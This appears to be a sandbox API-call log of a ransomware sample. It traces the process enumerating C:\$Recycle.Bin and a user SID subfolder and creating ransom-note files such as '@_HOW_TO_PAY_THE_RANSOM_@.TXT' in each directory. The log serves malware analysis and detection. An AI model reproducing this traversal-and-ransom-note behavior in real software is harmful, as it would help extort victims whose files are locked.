RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x533de0 [0068.488] AreFileApisANSI () returned 1 [0068.488] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x4adfd8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 17 [0068.488] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x22) returned 0x52c738 [0068.488] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x4adfd8, cbMultiByte=-1, lpWideCharStr=0x52c738, cchWideChar=17 | out: lpWideCharStr="C:\\\\$Recycle.Bin") returned 17 [0068.488] CreateFileW (lpFileName="C:\\\\$Recycle.Bin" (normalized: "c:\\$recycle.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x4ad734, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0068.488] GetLastError () returned 0x5 [0068.488] GetLastError () returned 0x5 [0068.488] AreFileApisANSI () returned 1 [0068.488] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5438b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 17 [0068.488] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x22) returned 0x52c738 [0068.488] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5438b8, cbMultiByte=-1, lpWideCharStr=0x52c738, cchWideChar=17 | out: lpWideCharStr="C:\\\\$Recycle.Bin") returned 17 [0068.488] CreateFileW (lpFileName="C:\\\\$Recycle.Bin" (normalized: "c:\\$recycle.bin"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x19c [0068.489] GetFileType (hFile=0x19c) returned 0x1 [0068.489] GetFileInformationByHandle (in: hFile=0x19c, lpFileInformation=0x4ad974 | out: lpFileInformation=0x4ad974) returned 1 [0068.489] FileTimeToSystemTime (in: lpFileTime=0x4ad948, lpSystemTime=0x4ad91c | out: lpSystemTime=0x4ad91c) returned 1 [0068.489] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ad91c, lpLocalTime=0x4ad92c | out: lpLocalTime=0x4ad92c) returned 1 [0068.490] GetTimeZoneInformation (in: lpTimeZoneInformation=0x113048 | out: lpTimeZoneInformation=0x113048) returned 0x2 [0068.493] GetLastError () returned 0x0 [0068.493] FileTimeToSystemTime (in: lpFileTime=0x4ad938, lpSystemTime=0x4ad90c | out: lpSystemTime=0x4ad90c) returned 1 [0068.493] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ad90c, lpLocalTime=0x4ad91c | out: lpLocalTime=0x4ad91c) returned 1 [0068.494] FileTimeToSystemTime (in: lpFileTime=0x4ad928, lpSystemTime=0x4ad8fc | out: lpSystemTime=0x4ad8fc) returned 1 [0068.494] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ad8fc, lpLocalTime=0x4ad90c | out: lpLocalTime=0x4ad90c) returned 1 [0068.495] CloseHandle (hObject=0x19c) returned 1 [0068.495] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52c738 | out: hHeap=0x510000) returned 1 [0068.495] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5438b8 | out: hHeap=0x510000) returned 1 [0068.495] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x5438b8 [0068.495] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x5a0) returned 0x543a38 [0068.495] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x543818 [0068.495] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x30) returned 0x556cb0 [0068.495] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x543818 | out: hHeap=0x510000) returned 1 [0068.495] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x533d90 [0068.495] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x533de0 [0068.496] AreFileApisANSI () returned 1 [0068.496] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x556cb0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 46 [0068.496] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x5c) returned 0x5345c0 [0068.496] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x556cb0, cbMultiByte=-1, lpWideCharStr=0x5345c0, cchWideChar=46 | out: lpWideCharStr="C:\\\\$Recycle.Bin\\@_FILES_WERE_ENCRYPTED_@.TXT") returned 46 [0068.496] CreateFileW (lpFileName="C:\\\\$Recycle.Bin\\@_FILES_WERE_ENCRYPTED_@.TXT" (normalized: "c:\\$recycle.bin\\@_files_were_encrypted_@.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4acd78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0068.497] GetFileType (hFile=0x19c) returned 0x1 [0068.498] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5345c0 | out: hHeap=0x510000) returned 1 [0068.498] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x1000) returned 0x559e08 [0068.498] GetLastError () returned 0x0 [0068.499] AreFileApisANSI () returned 1 [0068.499] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x556cb0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 47 [0068.499] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x5e) returned 0x5345c0 [0068.499] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x556cb0, cbMultiByte=-1, lpWideCharStr=0x5345c0, cchWideChar=47 | out: lpWideCharStr="C:\\\\$Recycle.Bin\\@_HOW_TO_PAY_THE_RANSOM_@.TXT") returned 47 [0068.499] CreateFileW (lpFileName="C:\\\\$Recycle.Bin\\@_HOW_TO_PAY_THE_RANSOM_@.TXT" (normalized: "c:\\$recycle.bin\\@_how_to_pay_the_ransom_@.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4acd78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0068.511] GetFileType (hFile=0x19c) returned 0x1 [0068.511] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5345c0 | out: hHeap=0x510000) returned 1 [0068.511] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x1000) returned 0x559e08 [0068.511] GetLastError () returned 0x0 [0068.512] AreFileApisANSI () returned 1 [0068.512] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x556cb0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 46 [0068.512] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x5c) returned 0x5345c0 [0068.512] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x556cb0, cbMultiByte=-1, lpWideCharStr=0x5345c0, cchWideChar=46 | out: lpWideCharStr="C:\\\\$Recycle.Bin\\@_HOW_TO_DECRYPT_FILES_@.TXT") returned 46 [0068.512] CreateFileW (lpFileName="C:\\\\$Recycle.Bin\\@_HOW_TO_DECRYPT_FILES_@.TXT" (normalized: "c:\\$recycle.bin\\@_how_to_decrypt_files_@.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4acd78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0068.512] GetFileType (hFile=0x19c) returned 0x1 [0068.512] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5345c0 | out: hHeap=0x510000) returned 1 [0068.512] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x1000) returned 0x559e08 [0068.512] GetLastError () returned 0x0 [0068.513] FindFirstFileA (in: lpFileName="C:\\\\$Recycle.Bin\\*", lpFindFileData=0x4ad0c0 | out: lpFindFileData=0x4ad0c0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa632c280, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa632c280, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3800043c, cFileName=".", cAlternateFileName="")) returned 0x549710 [0068.513] FindNextFileA (in: hFindFile=0x549710, lpFindFileData=0x4ad0c0 | out: lpFindFileData=0x4ad0c0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa632c280, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa632c280, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3800043c, cFileName="..", cAlternateFileName="")) returned 1 [0068.513] FindNextFileA (in: hFindFile=0x549710, lpFindFileData=0x4ad0c0 | out: lpFindFileData=0x4ad0c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa6306120, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa6306120, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa6306120, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x3800043c, cFileName="@_FILES_WERE_ENCRYPTED_@.TXT", cAlternateFileName="@_FILE~1.TXT")) returned 1 [0068.514] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x30) returned 0x556cb0 [0068.514] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x30) returned 0x55ae28 [0068.514] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55ae28 | out: hHeap=0x510000) returned 1 [0068.514] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x5438b8 [0068.514] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5438b8 | out: hHeap=0x510000) returned 1 [0068.514] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x556cb0 | out: hHeap=0x510000) returned 1 [0068.514] FindNextFileA (in: hFindFile=0x549710, lpFindFileData=0x4ad0c0 | out: lpFindFileData=0x4ad0c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa632c280, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa632c280, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa632c280, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x3, cFileName="@_HOW_TO_DECRYPT_FILES_@.TXT", cAlternateFileName="@_HOW_~2.TXT")) returned 1 [0068.514] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x30) returned 0x556cb0 [0068.514] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x30) returned 0x55ae28 [0068.514] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55ae28 | out: hHeap=0x510000) returned 1 [0068.514] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x5438b8 [0068.514] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5438b8 | out: hHeap=0x510000) returned 1 [0068.514] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x556cb0 | out: hHeap=0x510000) returned 1 [0068.514] FindNextFileA (in: hFindFile=0x549710, lpFindFileData=0x4ad0c0 | out: lpFindFileData=0x4ad0c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa6306120, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa6306120, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa632c280, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x3, cFileName="@_HOW_TO_PAY_THE_RANSOM_@.TXT", cAlternateFileName="@_HOW_~1.TXT")) returned 1 [0068.514] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x30) returned 0x556cb0 [0068.514] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x30) returned 0x55ae28 [0068.514] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55ae28 | out: hHeap=0x510000) returned 1 [0068.514] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x5438b8 [0068.514] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5438b8 | out: hHeap=0x510000) returned 1 [0068.514] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x556cb0 | out: hHeap=0x510000) returned 1 [0068.514] FindNextFileA (in: hFindFile=0x549710, lpFindFileData=0x4ad0c0 | out: lpFindFileData=0x4ad0c0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="S-1-5-~1")) returned 1 [0068.514] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40) returned 0x524400 [0068.514] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40) returned 0x524448 [0068.514] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40) returned 0x5244d8 [0068.514] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x524448 | out: hHeap=0x510000) returned 1 [0068.514] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5244d8 | out: hHeap=0x510000) returned 1 [0068.514] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x524400 | out: hHeap=0x510000) returned 1 [0068.514] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40) returned 0x524400 [0068.514] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x5a0) returned 0x543a38 [0068.514] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x50) returned 0x544bf0 [0068.514] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x77) returned 0x51ff00 [0068.514] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x544bf0 | out: hHeap=0x510000) returned 1 [0068.515] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x533d90 [0068.515] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x533de0 [0068.515] AreFileApisANSI () returned 1 [0068.515] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x51ff00, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 93 [0068.515] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xba) returned 0x54a680 [0068.515] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x51ff00, cbMultiByte=-1, lpWideCharStr=0x54a680, cchWideChar=93 | out: lpWideCharStr="C:\\\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\@_FILES_WERE_ENCRYPTED_@.TXT") returned 93 [0068.515] CreateFileW (lpFileName="C:\\\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\@_FILES_WERE_ENCRYPTED_@.TXT" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\@_files_were_encrypted_@.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4ac3d0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f4 [0068.515] GetFileType (hFile=0x1f4) returned 0x1 [0068.515] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54a680 | out: hHeap=0x510000) returned 1 [0068.516] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x1000) returned 0x55b610 [0068.516] GetLastError () returned 0x0 [0068.517] AreFileApisANSI () returned 1 [0068.517] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x51ff00, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 94 [0068.517] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xbc) returned 0x54a680 [0068.517] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x51ff00, cbMultiByte=-1, lpWideCharStr=0x54a680, cchWideChar=94 | out: lpWideCharStr="C:\\\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\@_HOW_TO_PAY_THE_RANSOM_@.TXT") returned 94 [0068.517] CreateFileW (lpFileName="C:\\\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\@_HOW_TO_PAY_THE_RANSOM_@.TXT" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\@_how_to_pay_the_ransom_@.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4ac3d0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f4 [0068.517] GetFileType (hFile=0x1f4) returned 0x1 [0068.517] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54a680 | out: hHeap=0x510000) returned 1 [0068.517] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x1000) returned 0x55b610 [0068.517] GetLastError () returned 0x0 [0068.518] AreFileApisANSI () returned 1 [0068.518] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x51ff00, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 93 [0068.518] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xba) returned 0x54a680 [0068.518] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x51ff00, cbMultiByte=-1, lpWideCharStr=0x54a680, cchWideChar=93 | out: lpWideCharStr="C:\\\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\@_HOW_TO_DECRYPT_FILES_@.TXT") returned 93 [0068.519] CreateFileW (lpFileName="C:\\\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\@_HOW_TO_DECRYPT_FILES_@.TXT" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\@_how_to_decrypt_files_@.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4ac3d0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f4 [0068.519] GetFileType (hFile=0x1f4) returned 0x1 [0068.519] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54a680 | out: hHeap=0x510000) returned 1 [0068.519] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x1000) returned 0x55b610 [0068.519] GetLastError () returned 0x0 [0068.520] FindFirstFileA (in: lpFileName="C:\\\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\*", lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xa632c280, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa632c280, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3e00053b, cFileName=".", cAlternateFileName="")) returned 0x549750 [0068.520] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xa632c280, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa632c280, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3e00053b, cFileName="..", cAlternateFileName="")) returned 1 [0068.520] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa632c280, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa632c280, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa632c280, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x3e00053b, cFileName="@_FILES_WERE_ENCRYPTED_@.TXT", cAlternateFileName="@_FILE~1.TXT")) returned 1 [0068.520] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x60) returned 0x5345c0 [0068.520] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x60) returned 0x536b88 [0068.520] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x536b88 | out: hHeap=0x510000) returned 1 [0068.520] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x5438b8 [0068.520] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5438b8 | out: hHeap=0x510000) returned 1 [0068.520] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5345c0 | out: hHeap=0x510000) returned 1 [0068.520] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa632c280, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa632c280, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa632c280, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x536b80, dwReserved1=0x4ac590, cFileName="@_HOW_TO_DECRYPT_FILES_@.TXT", cAlternateFileName="@_HOW_~2.TXT")) returned 1 [0068.520] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x60) returned 0x5345c0 [0068.520] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x60) returned 0x536b88 [0068.520] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x536b88 | out: hHeap=0x510000) returned 1 [0068.520] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x5438b8 [0068.520] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5438b8 | out: hHeap=0x510000) returned 1 [0068.520] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5345c0 | out: hHeap=0x510000) returned 1 [0068.520] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa632c280, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa632c280, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa632c280, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x536b80, dwReserved1=0x4ac590, cFileName="@_HOW_TO_PAY_THE_RANSOM_@.TXT", cAlternateFileName="@_HOW_~1.TXT")) returned 1 [0068.520] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x60) returned 0x5345c0 [0068.521] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x60) returned 0x536b88 [0068.521] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x536b88 | out: hHeap=0x510000) returned 1 [0068.521] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x5438b8 [0068.521] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5438b8 | out: hHeap=0x510000) returned 1 [0068.521] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5345c0 | out: hHeap=0x510000) returned 1 [0068.521] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x536b80, dwReserved1=0x4ac590, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0068.521] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x50) returned 0x544bf0 [0068.521] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x50) returned 0x544ca0 [0068.521] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x544ca0 | out: hHeap=0x510000) returned 1 [0068.521] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x544bf0 | out: hHeap=0x510000) returned 1 [0068.521] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x536b80, dwReserved1=0x4ac590, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0068.521] FindClose (in: hFindFile=0x549750 | out: hFindFile=0x549750) returned 1 [0068.521] FindNextFileA (in: hFindFile=0x549710, lpFindFileData=0x4ad0c0 | out: lpFindFileData=0x4ad0c0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="S-1-5-~1")) returned 0 [0068.521] FindClose (in: hFindFile=0x549710 | out: hFindFile=0x549710) returned 1 [0068.521] FindNextFileA (in: hFindFile=0x5496d0, lpFindFileData=0x4ada68 | out: lpFindFileData=0x4ada68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa62dffc0, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa62dffc0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa62dffc0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x12, dwReserved1=0x0, cFileName="@_FILES_WERE_ENCRYPTED_@.TXT", cAlternateFileName="@_FILE~1.TXT")) returned 1 [0068.521] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x30) returned 0x556cb0 [0068.521] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x30) returned 0x55ae28 [0068.521] HeapFree (in: 